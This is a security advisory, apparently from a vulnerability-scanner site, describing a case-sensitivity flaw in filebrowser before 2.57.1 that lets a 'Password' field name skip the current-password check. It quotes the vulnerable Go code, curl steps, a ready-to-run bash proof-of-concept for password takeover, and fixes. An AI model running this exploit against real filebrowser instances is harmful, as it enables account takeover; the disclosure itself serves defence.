| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/filebrowser/filebrowser | mọi phiên bản | |
| github.com/filebrowser/filebrowser/v2 | < 2.57.1 | 2.57.1 |
| filebrowser | < 2.57.1 | 2.57.1 |
A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.
CVSS Score: 7.5 (High)
CWE: CWE-178 (Improper Handling of Case Sensitivity)
The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).
// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
var sensibleFields = map[string]struct{}{
"all": {},
"username": {},
"password": {}, // lowercase
"scope": {},
"lockPassword": {},
"commands": {},
"perm": {},
}
for _, field := range req.Which {
if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
}
sensibleFields map uses lowercase keys (e.g., "password")sensibleFields[field] is case-sensitivereq.Which contains "Password" (Title Case), the lookup returns false"Password" is a valid field name1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
- which: ["Password"] (Title Case - bypasses validation)
- data.password: "attacker_password"
- NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíStep 1: Obtain a valid JWT token
TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"victim","password":"victim_password"}')
Step 2: Attempt normal password change (should fail)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["password"],
"data": {"id": 1, "password": "NewPassword123456"}
}'
# Response: 400 Bad Request (the current password is incorrect)
Step 3: Bypass with Title Case (succeeds without current_password)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["Password"],
"data": {"id": 1, "password": "HackedPassword123"}
}'
# Response: 200 OK
Step 4: Verify account takeover
# Original password no longer works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"victim_password"}'
# Response: 403 Forbidden
# New password works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"HackedPassword123"}'
# Response: Valid JWT token
#!/bin/bash
# Usage: ./poc.sh <target> <username> <current_password> <new_password>
TARGET="$1"
USERNAME="$2"
CURRENT_PASS="$3"
NEW_PASS="$4"
# Login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}")
# Get user ID from token
USER_ID=$(echo "$TOKEN" | python3 -c "
import sys,json,base64
parts=input().split('.')
payload=json.loads(base64.b64decode(parts[1]+'=='))
print(payload['user']['id'])
")
# Exploit: Change password without current_password
curl -s -X PUT "$TARGET/api/users/$USER_ID" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"what\": \"user\",
\"which\": [\"Password\"],
\"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"}
}"
echo "Password changed to: $NEW_PASS"
| Scenario | Impact |
|---|---|
| XSS + Token Theft | Complete account takeover |
| JWT in Server Logs | Mass account compromise |
| Shared Computer | Session hijacking |
| Malicious Browser Extension | Credential theft |
| Category | Severity |
|---|---|
| Confidentiality | High - Attacker gains full account access |
| Integrity | High - Attacker can modify all user data |
| Availability | High - Legitimate user locked out |
Username, Scope, Perm, etc.) have additional protection via NonModifiableFieldsForNonAdmin check// Convert field to lowercase before checking
for _, field := range req.Which {
if _, ok := sensibleFields[strings.ToLower(field)]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
var sensibleFields = map[string]struct{}{
"All": {},
"Username": {},
"Password": {}, // Title Case to match post-transformation
"Scope": {},
"LockPassword": {},
"Commands": {},
"Perm": {},
}
// Check AFTER field name transformation
for k, v := range req.Which {
v = cases.Title(language.English, cases.NoLower).String(v)
req.Which[k] = v
// Now check with Title Case
if _, ok := sensibleFields[v]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
http/users.goNonModifiableFieldsForNonAdmin (line 17)